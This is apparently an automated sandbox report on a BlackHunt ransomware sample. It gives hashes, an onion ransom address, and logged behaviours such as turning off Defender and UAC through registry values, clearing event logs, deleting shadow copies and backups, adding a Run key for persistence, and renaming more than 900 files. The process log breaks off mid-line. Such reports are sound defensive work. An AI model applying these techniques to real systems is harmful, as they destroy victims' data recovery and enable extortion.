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Analysis
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max time kernel
127s -
max time network
135s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
18/01/2024, 23:46
Static task
static1
Behavioral task
behavioral1
Sample
734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
Resource
win10v2004-20231215-en
General
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Target
734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe
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Size
707KB
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MD5
d38ae9ac535c3c0fd927bdad2a96cbe7
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SHA1
f60c70f22097f00d078c98e6e3c935ebda9635fa
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SHA256
734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2
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SHA512
9355ad9196b1e2a90eefcf5fb5a0a45b21c10616eb919f1df29ab06fb7f35a84b81599df7d2130f1336cf18b990f6c17b06c4a89e8f81e502796ce3729dad6df
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1f81vnh:6uaTmkZJ+naie5OTamgEoKxLWWxh
Malware Config
Extracted
C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 1264 fsutil.exe 1996 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 2600 wevtutil.exe 1724 wevtutil.exe 1648 wevtutil.exe 2648 wevtutil.exe 2064 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 2388 bcdedit.exe 996 bcdedit.exe 1324 bcdedit.exe 816 bcdedit.exe -
Renames multiple (913) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 1376 wbadmin.exe 2464 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Deletes itself 1 IoCs
pid Process 1520 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\W: 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened (read-only) \??\S: 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened (read-only) \??\G: 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened (read-only) \??\H: 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened (read-only) \??\N: 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened (read-only) \??\B: 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\O: 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened (read-only) \??\X: 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\A: 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened (read-only) \??\K: 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\Q: 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened (read-only) \??\R: 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened (read-only) \??\T: 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened (read-only) \??\L: 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened (read-only) \??\E: 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened (read-only) \??\Y: 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened (read-only) \??\I: 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened (read-only) \??\Z: 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened (read-only) \??\U: 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened (read-only) \??\P: 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened (read-only) \??\J: 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened (read-only) \??\V: 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened (read-only) \??\M: 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\file_obj.gif 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\15x15dot.png 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\feature.properties 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\New_York 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\#BlackHunt_ReadMe.hta 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\#BlackHunt_ReadMe.hta 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMainMask.wmv 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\#BlackHunt_ReadMe.hta 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\#BlackHunt_ReadMe.txt 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+12 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Christmas 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\#BlackHunt_ReadMe.hta 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Brisbane 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-12 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Push\#BlackHunt_Private.key 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\#BlackHunt_ReadMe.txt 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_precomp_matte.wmv 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaBrightRegular.ttf 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\bin\#BlackHunt_ReadMe.txt 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationUp_ButtonGraphic.png 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\#BlackHunt_ReadMe.hta 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Prague 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\#BlackHunt_Private.key 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\7-Zip\Lang\ru.txt 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File created C:\Program Files\Java\jdk1.7.0_80\include\win32\#BlackHunt_Private.key 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\203x8subpicture.png 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\#BlackHunt_ReadMe.txt 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\css\blafdoc.css 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File created C:\Program Files\DVD Maker\it-IT\#BlackHunt_ReadMe.txt 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\#BlackHunt_ReadMe.txt 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Riyadh88 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\#BlackHunt_ReadMe.hta 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_ru.jar 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Pyongyang 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Salta 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\THIRDPARTYLICENSEREADME-JAVAFX.txt 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\MANIFEST.MF 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\#BlackHunt_Private.key 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\EnterGet.wps 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-previous-static.png 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\7-Zip\Lang\sq.txt 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\#BlackHunt_ReadMe.txt 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Full\#BlackHunt_Private.key 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+2 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\circleround_selectionsubpicture.png 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\#BlackHunt_Private.key 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\#BlackHunt_Private.key 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\mc.jar 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser_5.5.0.165303.jar 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\btn-back-static.png 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\mainimage-mask.png 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\16_9-frame-highlight.png 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\splash.gif 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_it.jar 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.update\#BlackHunt_ReadMe.hta 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\btn-next-static.png 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_highlights_Thumbnail.bmp 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser.jdp.ja_5.5.0.165303.jar 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Full\dotsdarkoverlay.png 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Rarotonga 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Srednekolymsk 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\.settings\#BlackHunt_ReadMe.txt 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\feature.properties 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\DvdTransform.fx 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1796 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1220 vssadmin.exe 2680 vssadmin.exe 1468 vssadmin.exe 3040 vssadmin.exe 464 vssadmin.exe 1544 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 1468 taskkill.exe -
Modifies registry class 12 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 wbadmin.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ wbadmin.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 268 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 2700 mshta.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe Token: SeRestorePrivilege 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe Token: SeBackupPrivilege 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe Token: SeTakeOwnershipPrivilege 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe Token: SeAuditPrivilege 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe Token: SeSecurityPrivilege 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe Token: SeIncBasePriorityPrivilege 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe Token: SeBackupPrivilege 2268 vssvc.exe Token: SeRestorePrivilege 2268 vssvc.exe Token: SeAuditPrivilege 2268 vssvc.exe Token: SeBackupPrivilege 1720 wbengine.exe Token: SeRestorePrivilege 1720 wbengine.exe Token: SeSecurityPrivilege 1720 wbengine.exe Token: SeSecurityPrivilege 2600 wevtutil.exe Token: SeSecurityPrivilege 1724 wevtutil.exe Token: SeBackupPrivilege 2600 wevtutil.exe Token: SeBackupPrivilege 1724 wevtutil.exe Token: SeSecurityPrivilege 1648 wevtutil.exe Token: SeBackupPrivilege 1648 wevtutil.exe Token: SeDebugPrivilege 1468 taskkill.exe Token: SeSecurityPrivilege 2064 wevtutil.exe Token: SeBackupPrivilege 2064 wevtutil.exe Token: SeSecurityPrivilege 2648 wevtutil.exe Token: SeBackupPrivilege 2648 wevtutil.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2672 wrote to memory of 2900 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 30 PID 2672 wrote to memory of 2900 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 30 PID 2672 wrote to memory of 2900 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 30 PID 2672 wrote to memory of 2900 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 30 PID 2672 wrote to memory of 2664 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 31 PID 2672 wrote to memory of 2664 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 31 PID 2672 wrote to memory of 2664 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 31 PID 2672 wrote to memory of 2664 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 31 PID 2672 wrote to memory of 1204 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 33 PID 2672 wrote to memory of 1204 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 33 PID 2672 wrote to memory of 1204 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 33 PID 2672 wrote to memory of 1204 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 33 PID 2672 wrote to memory of 2604 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 35 PID 2672 wrote to memory of 2604 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 35 PID 2672 wrote to memory of 2604 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 35 PID 2672 wrote to memory of 2604 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 35 PID 2672 wrote to memory of 2572 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 38 PID 2672 wrote to memory of 2572 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 38 PID 2672 wrote to memory of 2572 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 38 PID 2672 wrote to memory of 2572 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 38 PID 2672 wrote to memory of 3044 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 40 PID 2672 wrote to memory of 3044 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 40 PID 2672 wrote to memory of 3044 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 40 PID 2672 wrote to memory of 3044 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 40 PID 2672 wrote to memory of 3056 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 41 PID 2672 wrote to memory of 3056 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 41 PID 2672 wrote to memory of 3056 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 41 PID 2672 wrote to memory of 3056 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 41 PID 2672 wrote to memory of 840 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 43 PID 2672 wrote to memory of 840 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 43 PID 2672 wrote to memory of 840 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 43 PID 2672 wrote to memory of 840 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 43 PID 2672 wrote to memory of 664 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 44 PID 2672 wrote to memory of 664 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 44 PID 2672 wrote to memory of 664 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 44 PID 2672 wrote to memory of 664 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 44 PID 2672 wrote to memory of 268 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 45 PID 2672 wrote to memory of 268 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 45 PID 2672 wrote to memory of 268 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 45 PID 2672 wrote to memory of 268 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 45 PID 2672 wrote to memory of 1632 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 47 PID 2672 wrote to memory of 1632 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 47 PID 2672 wrote to memory of 1632 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 47 PID 2672 wrote to memory of 1632 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 47 PID 2672 wrote to memory of 584 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 49 PID 2672 wrote to memory of 584 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 49 PID 2672 wrote to memory of 584 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 49 PID 2672 wrote to memory of 584 2672 734a0a644e110c3692e53bae8946ea83828e66f62cc6c91fe0e7f8141a669dd2.exe 49 PID 2900 wrote to memory of 436 2900 cmd.exe 50 PID 2900 wrote to memory of 